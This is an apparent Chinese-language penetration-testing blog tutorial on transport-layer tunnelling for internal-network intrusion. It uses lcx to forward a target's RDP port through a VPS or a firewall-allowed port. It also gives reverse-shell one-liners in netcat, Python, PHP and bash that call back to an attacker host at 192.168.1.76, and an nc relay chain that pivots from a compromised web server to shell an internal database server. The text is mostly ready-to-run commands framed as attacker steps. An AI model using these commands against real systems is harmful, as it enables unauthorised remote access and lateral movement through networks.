内网渗透之传输层隧道技术

前言

​ 隧道是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包装类型或端口封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。

​ 常用的隧道列举如下:

​ 网络层:IPv6隧道,ICMP隧道,GRE隧道。

​ 传输层:TCP隧道,UDP隧道,常规端口转发。

​ 应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道。

​ 本文介绍传输层隧道技术

正文

lcx端口转发

​ lcx是基于套接字实现的端口转发工具。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接。

内网端口转发

​ 在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。

1
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389

​ 在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到5555端口上

1
lcx.exe -listen 4444 5555

​ 此时,用mstsc登陆 “<公网主机的IP地址>:5555”,或者在VPS上用mstsc登陆主机127.0.0.1的5555端口,即可访问目标服务器的3389端口

本地端口映射

​ 如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过 防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(例如53端口)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

1
lcx -tran 53 <目标主机IP地址> 3389

NC内网代理

NC反弹shell

​ 反向shell

​ 本机(192.168.1.76)监听端口9999

1
nc -lvvp 9999

​ 目标主机执行,有nc的情况下

1
2
nc -e /bin/sh 192.168.1.76 9999
nc -e c:\windows\system32\cmd.exe 192.168.1.76 9999

​ 使用python反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.76',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

​ 使用php反弹shell

1
php -r '$sock=fsockopen("192.168.1.76",9999);exec("/bin/bash -i <&3 >&3 2>&3");'

​ 使用bash反弹shell

1
bash -i >& /dev/tcp/192.168.1.76/9999 1>&0

内网代理

​ 场景如下:

​ 攻击者(192.168.1.76),已获得权限的web服务器(外网IP:192.168.1.26 内网IP:172.168.1.16),数据库服务器位于内网中(172.168.1.20),攻击者无法直接访问数据库服务器,但是web服务器可以访问数据库服务器。三台机器均为linux系统。目标是通过获得数据库服务器的shell。

​ 在攻击者上监听3333端口

1
nc -lvvp 3333

​ 在数据库服务器上执行如下命令

1
nc -lvp 3333 -e /bin/sh
在web服务器上执行如下命令
1
2
nc -v 192.168.1.76 3333 -c "nc -v 172.168.1.20 3333"
//nc -v 攻击者IP 攻击者监听端口 -c "nc -v 目标服务器IP 目标服务器端口"

image-20200612112846120

Author: 我是小吴啦
Link: http://yoursite.com/2020/06/07/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8B%E4%BC%A0%E8%BE%93%E5%B1%82%E9%9A%A7%E9%81%93%E6%8A%80%E6%9C%AF/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.